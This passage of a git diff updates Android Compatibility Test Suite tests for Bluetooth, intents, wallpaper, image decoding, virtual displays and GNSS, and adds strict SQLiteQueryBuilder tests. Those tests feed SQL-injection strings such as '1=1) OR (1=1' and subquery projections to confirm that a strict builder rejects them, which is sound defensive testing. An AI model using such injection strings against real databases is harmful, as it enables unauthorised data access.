-                    int profile = sRequiredBluetoothProfiles.keyAt(i);
-                    String name = sRequiredBluetoothProfiles.get(profile).mName;
-                    if (!sRequiredBluetoothProfiles.get(profile).mConnected) {
-                        if (e.length() == 0) {
-                            e.append("Missing Profiles: ");
-                        } else {
-                            e.append(", ");
-                        }
-                        e.append(name + " (" + profile + ")");
-
-                        if (DBG) {
-                            Log.d(TAG, name + " failed to connect");
-                        }
-                    }
-                }
-                fail(e.toString());
-            }
-        } finally {
-            mProfileConnectedLock.unlock();
-        }
-    }
-
-    // Set the connection status for each profile to false
-    private void clearProfileStatuses() {
-        if (DBG) {
-            Log.d(TAG, "Setting all profiles to 'disconnected'");
-        }
-        for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
-            int profile = sRequiredBluetoothProfiles.keyAt(i);
-            sRequiredBluetoothProfiles.get(profile).mConnected = false;
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        if (DBG) {
-            Log.d(TAG, "Setting up Automotive Bluetooth test. Device is "
-                    + (FeatureUtil.isAutomotive() ? "" : "not ") + "automotive");
-        }
-
-        // Automotive only
-        assumeTrue(FeatureUtil.isAutomotive());
-
-        // Get the context
-        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
-
-        // Get bluetooth core objects so we can get proxies/check for profile existence
-        mBluetoothManager = (BluetoothManager) mContext.getSystemService(
-                Context.BLUETOOTH_SERVICE);
-        mBluetoothAdapter = mBluetoothManager.getAdapter();
-
-        // Initialize all the profile connection variables
-        mProfilesSupported = 0;
-        mProfileConnectedLock = new ReentrantLock();
-        mConditionAllProfilesConnected = mProfileConnectedLock.newCondition();
-        clearProfileStatuses();
-
-        // Register the adapter receiver and initialize adapter state wait objects
-        mDesiredState = -1; // Set and checked by waitForAdapterState()
-        mBluetoothAdapterLock = new ReentrantLock();
-        mConditionAdapterStateReached = mBluetoothAdapterLock.newCondition();
-        mBluetoothAdapterReceiver = new BluetoothAdapterReceiver();
-        IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
-        mContext.registerReceiver(mBluetoothAdapterReceiver, filter);
-
-        // Make sure Bluetooth is enabled before the test
-        waitForAdapterOn();
-        assertTrue(mBluetoothAdapter.isEnabled());
-    }
-
-    @After
-    public void tearDown() {
-        waitForAdapterOff();
-        mContext.unregisterReceiver(mBluetoothAdapterReceiver);
-    }
-
-    // [A-0-2] : Android Automotive devices must support the following Bluetooth profiles:
-    //  * Hands Free Profile (HFP) [Phone calling]
-    //  * Audio Distribution Profile (A2DP) [Media playback]
-    //  * Audio/Video Remote Control Profile (AVRCP) [Media playback control]
-    //  * Phone Book Access Profile (PBAP) [Contact sharing/receiving]
-    //
-    // This test fires off connections to each required profile (which are asynchronous in nature)
-    // and waits for all of them to connect (proving they are there and implemented), or for the
-    // configured timeout. If all required profiles connect, the test passes.
-    @Test
-    @CddTest(requirement = "7.4.3/A-0-2")
-    public void testRequiredBluetoothProfilesExist() throws Exception {
-        if (DBG) {
-            Log.d(TAG, "Begin testRequiredBluetoothProfilesExist()");
-        }
-        assertNotNull(mBluetoothAdapter);
-        waitForProfileConnections();
-        checkProfileConnections();
-    }
-}
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 064bf0b..7ded622 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -33,7 +33,6 @@
 import android.telecom.TelecomManager;
 import android.test.AndroidTestCase;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 
 import java.util.List;
@@ -75,7 +74,6 @@
      * Test ACTION_VIEW when url is http://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testViewNormalUrl() {
         Uri uri = Uri.parse(NORMAL_URL);
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -86,7 +84,6 @@
      * Test ACTION_VIEW when url is https://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testViewSecureUrl() {
         Uri uri = Uri.parse(SECURE_URL);
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -97,7 +94,6 @@
      * Test ACTION_WEB_SEARCH when url is http://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testWebSearchNormalUrl() {
         Uri uri = Uri.parse(NORMAL_URL);
         Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -109,7 +105,6 @@
      * Test ACTION_WEB_SEARCH when url is https://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testWebSearchSecureUrl() {
         Uri uri = Uri.parse(SECURE_URL);
         Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -189,7 +184,6 @@
     /**
      * Test ACTION_SHOW_CALL_SETTINGS, it will display the call preferences.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testShowCallSettings() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -201,7 +195,6 @@
     /**
      * Test ACTION_SHOW_RESPOND_VIA_SMS_SETTINGS, it will display the respond by SMS preferences.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testShowRespondViaSmsSettings() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -213,7 +206,6 @@
     /**
      * Test start camera by intent
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testCamera() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA)
@@ -232,7 +224,6 @@
         }
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testSettings() {
         assertCanBeHandled(new Intent(Settings.ACTION_SETTINGS));
     }
@@ -240,7 +231,6 @@
     /**
      * Test add event in calendar
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testCalendarAddAppointment() {
         Intent addAppointmentIntent = new Intent(Intent.ACTION_EDIT);
         addAppointmentIntent.setType("vnd.android.cursor.item/event");
@@ -250,7 +240,6 @@
     /**
      * Test view call logs
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testContactsCallLogs() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -263,7 +252,6 @@
     /**
      * Test view music playback
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testMusicPlayback() {
         Intent intent = new Intent(Intent.ACTION_VIEW);
         intent.setDataAndType(ContentUris.withAppendedId(
@@ -271,7 +259,6 @@
         assertCanBeHandled(intent);
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockSetAlarm() {
         Intent intent = new Intent(AlarmClock.ACTION_SET_ALARM);
         intent.putExtra(AlarmClock.EXTRA_MESSAGE, "Custom message");
@@ -280,20 +267,17 @@
         assertCanBeHandled(intent);
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockSetTimer() {
         Intent intent = new Intent(AlarmClock.ACTION_SET_TIMER);
         intent.putExtra(AlarmClock.EXTRA_LENGTH, 60000);
         assertCanBeHandled(intent);
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockShowAlarms() {
         Intent intent = new Intent(AlarmClock.ACTION_SHOW_ALARMS);
         assertCanBeHandled(intent);
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockShowTimers() {
         if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
             return;
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderTest.java b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
index 95f4611..dc4a031 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
@@ -29,8 +29,6 @@
 
 import android.content.cts.R;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
@@ -38,7 +36,6 @@
 /**
  * Test {@link ContentProvider}.
  */
-@CddTest(requirement="3.5/C-0-2")
 public class ContentProviderTest extends AndroidTestCase {
     private static final String TEST_PACKAGE_NAME = "android.content.cts";
     private static final String TEST_FILE_NAME = "testFile.tmp";
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index b2b5753..a01e9e0 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -18,7 +18,6 @@
 
 import android.content.cts.R;
 
-import android.app.WallpaperManager;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -266,8 +265,6 @@
     }
 
     public void testAccessWallpaper() throws IOException, InterruptedException {
-        if (!isWallpaperSupported()) return;
-
         // set Wallpaper by contextWrapper#setWallpaper(Bitmap)
         Bitmap bitmap = Bitmap.createBitmap(20, 30, Bitmap.Config.RGB_565);
         // Test getWallpaper
@@ -502,8 +499,6 @@
     }
 
     public void testGetWallpaperDesiredMinimumHeightAndWidth() {
-        if (!isWallpaperSupported()) return;
-
         int height = mContextWrapper.getWallpaperDesiredMinimumHeight();
         int width = mContextWrapper.getWallpaperDesiredMinimumWidth();
 
@@ -837,10 +832,6 @@
         }
     }
 
-    private boolean isWallpaperSupported() {
-        return WallpaperManager.getInstance(mContext).isWallpaperSupported();
-    }
-
     private static final class MockContextWrapper extends ContextWrapper {
         public MockContextWrapper(Context base) {
             super(base);
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index 51684ae..af53e56 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -39,7 +39,6 @@
 import android.util.Xml;
 
 import com.android.content.cts.DummyParcelable;
-import com.android.compatibility.common.util.CddTest;
 
 import java.io.IOException;
 import java.io.Serializable;
@@ -48,7 +47,6 @@
 import java.util.Objects;
 import java.util.Set;
 
-@CddTest(requirement="3.5/C-0-1")
 public class IntentTest extends AndroidTestCase {
 
     private Intent mIntent;
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
index 97b0b8f..4479a5d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
@@ -18,6 +18,7 @@
 
 
 import android.content.Context;
+import android.content.ContentValues;
 import android.database.Cursor;
 import android.database.sqlite.SQLiteCursor;
 import android.database.sqlite.SQLiteCursorDriver;
@@ -28,12 +29,15 @@
 import android.os.OperationCanceledException;
 import android.test.AndroidTestCase;
 
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.concurrent.Semaphore;
 
 public class SQLiteQueryBuilderTest extends AndroidTestCase {
     private SQLiteDatabase mDatabase;
+    private SQLiteQueryBuilder mStrictBuilder;
+
     private final String TEST_TABLE_NAME = "test";
     private final String EMPLOYEE_TABLE_NAME = "employee";
     private static final String DATABASE_FILE = "database_test.db";
@@ -45,6 +49,9 @@
         getContext().deleteDatabase(DATABASE_FILE);
         mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE, Context.MODE_PRIVATE, null);
         assertNotNull(mDatabase);
+
+        createEmployeeTable();
+        createStrictQueryBuilder();
     }
 
     @Override
@@ -202,8 +209,6 @@
     }
 
     public void testQuery() {
-        createEmployeeTable();
-
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
         Cursor cursor = sqliteQueryBuilder.query(mDatabase,
@@ -276,8 +281,6 @@
     }
 
     public void testCancelableQuery_WhenNotCanceled_ReturnsResultSet() {
-        createEmployeeTable();
-
         CancellationSignal cancellationSignal = new CancellationSignal();
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
@@ -289,8 +292,6 @@
     }
 
     public void testCancelableQuery_WhenCanceledBeforeQuery_ThrowsImmediately() {
-        createEmployeeTable();
-
         CancellationSignal cancellationSignal = new CancellationSignal();
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
@@ -307,8 +308,6 @@
     }
 
     public void testCancelableQuery_WhenCanceledAfterQuery_ThrowsWhenExecuted() {
-        createEmployeeTable();
-
         CancellationSignal cancellationSignal = new CancellationSignal();
         SQLiteQueryBuilder sqliteQueryBuilder = new SQLiteQueryBuilder();
         sqliteQueryBuilder.setTables("Employee");
@@ -327,8 +326,6 @@
     }
 
     public void testCancelableQuery_WhenCanceledDueToContention_StopsWaitingAndThrows() {
-        createEmployeeTable();
-
         for (int i = 0; i < 5; i++) {
             final CancellationSignal cancellationSignal = new CancellationSignal();
             final Semaphore barrier1 = new Semaphore(0);
@@ -460,6 +457,152 @@
         fail("Could not prove that the query actually canceled midway during execution.");
     }
 
+    public void testStrictQuery() throws Exception {
+        final SQLiteQueryBuilder qb = mStrictBuilder;
+
+        // Should normally only be able to see one row
+        try (Cursor c = qb.query(mDatabase, null, null, null, null, null, null)) {
+            assertEquals(1, c.getCount());
+        }
+
+        // Trying sneaky queries should fail; even if they somehow succeed, we
+        // shouldn't get to see any other data.
+        try (Cursor c = qb.query(mDatabase, null, "1=1", null, null, null, null)) {
+            assertEquals(1, c.getCount());
+        } catch (Exception tolerated) {
+        }
+        try (Cursor c = qb.query(mDatabase, null, "1=1 --", null, null, null, null)) {
+            assertEquals(1, c.getCount());
+        } catch (Exception tolerated) {
+        }
+        try (Cursor c = qb.query(mDatabase, null, "1=1) OR (1=1", null, null, null, null)) {
+            assertEquals(1, c.getCount());
+        } catch (Exception tolerated) {
+        }
+        try (Cursor c = qb.query(mDatabase, null, "1=1)) OR ((1=1", null, null, null, null)) {
+            assertEquals(1, c.getCount());
+        } catch (Exception tolerated) {
+        }
+    }
+
+    private static final String[] COLUMNS_VALID = new String[] {
+            "_id",
+    };
+
+    private static final String[] COLUMNS_INVALID = new String[] {
+            "salary",
+            "MAX(salary)",
+            "undefined",
+            "(secret_column IN secret_table)",
+            "(SELECT secret_column FROM secret_table)",
+    };
+
+    public void testStrictQueryProjection() throws Exception {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    new String[] { column }, null, null, null, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    new String[] { column }, null, null, null, null, null, null);
+        }
+    }
+
+    public void testStrictQueryWhere() throws Exception {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, column + ">0", null, null, null, null, null);
+            assertStrictQueryValid(
+                    null, "_id>" + column, null, null, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, column + ">0", null, null, null, null, null);
+            assertStrictQueryInvalid(
+                    null, "_id>" + column, null, null, null, null, null);
+        }
+    }
+
+    public void testStrictQueryGroupBy() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, null, null, column, null, null, null);
+            assertStrictQueryValid(
+                    null, null, null, "_id," + column, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, column, null, null, null);
+            assertStrictQueryInvalid(
+                    null, null, null, "_id," + column, null, null, null);
+        }
+    }
+
+    public void testStrictQueryHaving() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, null, null, "_id", column, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, "_id", column, null, null);
+        }
+    }
+
+    public void testStrictQueryOrderBy() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    null, null, null, null, null, column, null);
+            assertStrictQueryValid(
+                    null, null, null, null, null, column + " ASC", null);
+            assertStrictQueryValid(
+                    null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, column, null);
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, column + " ASC", null);
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, "_id COLLATE NOCASE ASC," + column, null);
+        }
+    }
+
+    public void testStrictQueryLimit() {
+        assertStrictQueryValid(
+                null, null, null, null, null, null, "32");
+        assertStrictQueryValid(
+                null, null, null, null, null, null, "0,32");
+        assertStrictQueryValid(
+                null, null, null, null, null, null, "32 OFFSET 0");
+
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, null, column);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    null, null, null, null, null, null, column);
+        }
+    }
+
+    private void assertStrictQueryValid(String[] projectionIn, String selection,
+            String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+        try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+                groupBy, having, sortOrder, limit, null)) {
+        }
+    }
+
+    private void assertStrictQueryInvalid(String[] projectionIn, String selection,
+            String[] selectionArgs, String groupBy, String having, String sortOrder, String limit) {
+        try (Cursor c = mStrictBuilder.query(mDatabase, projectionIn, selection, selectionArgs,
+                groupBy, having, sortOrder, limit, null)) {
+            fail(Arrays.asList(projectionIn, selection, selectionArgs,
+                    groupBy, having, sortOrder, limit).toString());
+        } catch (Exception expected) {
+        }
+    }
+
     private void createEmployeeTable() {
         mDatabase.execSQL("CREATE TABLE employee (_id INTEGER PRIMARY KEY, " +
                 "name TEXT, month INTEGER, salary INTEGER);");
@@ -476,4 +619,17 @@
         mDatabase.execSQL("INSERT INTO employee (name, month, salary) " +
                 "VALUES ('Jim', '3', '3500');");
     }
+
+    private void createStrictQueryBuilder() {
+        mStrictBuilder = new SQLiteQueryBuilder();
+        mStrictBuilder.setTables("employee");
+        mStrictBuilder.setStrict(true);
+        mStrictBuilder.appendWhere("month=2");
+
+        final Map<String, String> projectionMap = new HashMap<>();
+        projectionMap.put("_id", "_id");
+        projectionMap.put("name", "name");
+        projectionMap.put("month", "month");
+        mStrictBuilder.setProjectionMap(projectionMap);
+    }
 }
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 99efc20..ef87dcf 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant sts
 
 LOCAL_PACKAGE_NAME := CtsDisplayTestCases
 
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index 872de91..bf6e472 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -31,6 +31,7 @@
 import android.os.Looper;
 import android.os.HandlerThread;
 import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.DisplayMetrics;
 import android.util.Log;
@@ -116,6 +117,7 @@
      * Ensures that an application can create a private virtual display and show
      * its own windows on it.
      */
+    @SecurityTest
     public void testPrivateVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -128,8 +130,7 @@
 
             // Show a private presentation on the display.
             assertDisplayCanShowPresentation("private presentation window",
-                    display, BLUEISH,
-                    WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION, 0);
+                    display, BLUEISH, 0);
         } finally {
             virtualDisplay.release();
         }
@@ -140,6 +141,7 @@
      * Ensures that an application can create a private presentation virtual display and show
      * its own windows on it.
      */
+    @SecurityTest
     public void testPrivatePresentationVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface,
@@ -153,8 +155,7 @@
 
             // Show a private presentation on the display.
             assertDisplayCanShowPresentation("private presentation window",
-                    display, BLUEISH,
-                    WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION, 0);
+                    display, BLUEISH, 0);
         } finally {
             virtualDisplay.release();
         }
@@ -165,6 +166,7 @@
      * Ensures that an application can create a private virtual display and show
      * its own windows on it where the surface is attached or detached dynamically.
      */
+    @SecurityTest
     public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, null, 0);
@@ -181,8 +183,7 @@
 
             // Show a private presentation on the display.
             assertDisplayCanShowPresentation("private presentation window",
-                    display, BLUEISH,
-                    WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION, 0);
+                    display, BLUEISH, 0);
 
             // Detach the surface.
             virtualDisplay.setSurface(null);
@@ -227,7 +228,7 @@
     }
 
     private void assertDisplayCanShowPresentation(String message, final Display display,
-            final int color, final int windowType, final int windowFlags) {
+            final int color, final int windowFlags) {
         // At this point, we should not have seen any blue.
         assertTrue(message + ": display should not show content before window is shown",
                 mImageListener.getColor() != color);
@@ -239,7 +240,7 @@
                 @Override
                 public void run() {
                     presentation[0] = new TestPresentation(getContext(), display,
-                            color, windowType, windowFlags);
+                            color, windowFlags);
                     presentation[0].show();
                 }
             });
@@ -289,14 +290,12 @@
 
     private final class TestPresentation extends Presentation {
         private final int mColor;
-        private final int mWindowType;
         private final int mWindowFlags;
 
         public TestPresentation(Context context, Display display,
-                int color, int windowType, int windowFlags) {
+                int color, int windowFlags) {
             super(context, display);
             mColor = color;
-            mWindowType = windowType;
             mWindowFlags = windowFlags;
         }
 
@@ -305,7 +304,6 @@
             super.onCreate(savedInstanceState);
 
             setTitle(TAG);
-            getWindow().setType(mWindowType);
             getWindow().addFlags(mWindowFlags);
 
             // Create a solid color image to use as the content of the presentation.
diff --git a/tests/tests/graphics/res/raw/f16.png b/tests/tests/graphics/res/raw/f16.png
deleted file mode 100644
index 2c3aed2..0000000
--- a/tests/tests/graphics/res/raw/f16.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index ce8f26a..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -1679,7 +1679,7 @@
         };
         Listener l = new Listener();
         SourceCreator f = mCreators[0];
-        for (int resId : new int[] { R.drawable.png_test, R.raw.f16 }) {
+        for (int resId : new int[] { R.drawable.png_test, R.raw.basi6a16 }) {
             Bitmap normal = null;
             try {
                 normal = ImageDecoder.decodeBitmap(f.apply(resId));
@@ -1705,7 +1705,7 @@
                         // We do not support 565 in HARDWARE, so no RAM savings
                         // are possible.
                         assertEquals(normalByteCount, byteCount);
-                    } else { // R.raw.f16
+                    } else { // R.raw.basi6a16
                         // This image defaults to F16. MEMORY_POLICY_LOW_RAM
                         // forces "test" to decode to 8888. But if the device
                         // does not support F16 in HARDWARE, "normal" is also
@@ -1723,10 +1723,15 @@
                         }
                     }
                 } else {
-                    // Not decoding to HARDWARE, but |normal| was. As such this should always
-                    // succeed in being smaller, as software will decode to 565 in this case.
-                    // This will always be less than whatever HARDWARE supports.
-                    assertTrue(byteCount < normalByteCount);
+                    // Not decoding to HARDWARE, but |normal| was. Again, if basi6a16
+                    // was decoded to 8888, which we can detect by looking at the color
+                    // space, no savings are possible.
+                    if (resId == R.raw.basi6a16 && !normal.getColorSpace().equals(
+                                ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
+                        assertEquals(normalByteCount, byteCount);
+                    } else {
+                        assertTrue(byteCount < normalByteCount);
+                    }
                 }
             }
         }
@@ -1759,8 +1764,8 @@
                                    // If this were stored in drawable/, it would
                                    // be converted from 16-bit to 8. FIXME: Is
                                    // behavior still desirable now that we have
-                                   // F16? b/119760146
-                                   R.raw.f16 };
+                                   // F16?
+                                   R.raw.basi6a16 };
         // An opaque image can be converted to 565, but postProcess will promote
         // to 8888 in case alpha is added. The third image defaults to F16, so
         // even with postProcess it will only be promoted to 8888.
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index 9e1366a..a9ddfc7 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -147,7 +147,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.2/H-0-1")
+    @CddTest(requirement="7.6.2")
     public void testMinSharedDataPartitionSize() {
         assertDataPartitionMinimumSize(
                 "Shared data",
@@ -156,7 +156,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.1/H-9-2,T-0-1,A-0-1,7.6.1/H-10-1")
+    @CddTest(requirement="7.6.1/H-9-2,7.6.1/H-10-1")
     public void testMinDataPartitionSize() {
         long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
         boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
index 8e2c3f8..216989f 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
@@ -20,8 +20,6 @@
 import android.location.GnssMeasurementsEvent;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -78,7 +76,6 @@
      * It only performs sanity checks for the measurements received.
      * This tests uses actual data retrieved from GPS HAL.
      */
-    @CddTest(requirement="7.3.3/C-3-2,C-3-3")
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
         // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index 07aa083..1f7ffa4 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -3,8 +3,6 @@
 import android.location.GnssStatus;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 public class GnssStatusTest extends GnssTestCase  {
 
     private static final String TAG = "GnssStatusTest";
@@ -58,7 +56,6 @@
   /**
    * Tests values of {@link GnssStatus}.
    */
-  @CddTest(requirement="7.3.3/C-1-4")
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not,
     // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssTestCase.java b/tests/tests/location/src/android/location/cts/GnssTestCase.java
index 5d78795..a128c95 100644
--- a/tests/tests/location/src/android/location/cts/GnssTestCase.java
+++ b/tests/tests/location/src/android/location/cts/GnssTestCase.java
@@ -15,7 +15,10 @@
  */
 package android.location.cts;
 
+import android.os.Build;
+import android.os.SystemProperties;
 import android.test.AndroidTestCase;
+import android.util.Log;
 
 /**
  * Base Test Case class for all Gnss Tests.
@@ -33,6 +36,11 @@
 
     // On devices using newer hardware, GNSS measurement support is required.
     protected boolean isMeasurementTestStrict() {
+        // Enforce strict measurement test on devices with first API level at least P.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
+            return true;
+        }
+
         return (mTestLocationManager.getLocationManager().getGnssYearOfHardware() >=
                 MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED);
     }
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 437eb21..26aedf8 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -56,7 +56,6 @@
 
     private static final int YEAR_2016 = 2016;
     private static final int YEAR_2017 = 2017;
-    private static final int YEAR_2018 = 2018;
 
     private enum GnssBand {
         GNSS_L1,
@@ -817,8 +816,8 @@
     public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
         TestLocationManager testLocationManager,
         boolean hasCarrierFrequency, float carrierFrequencyHz) {
-        // Enforcing CarrierFrequencyHz check only for year 2018+
-        if (testLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2018) {
+        // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
             softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
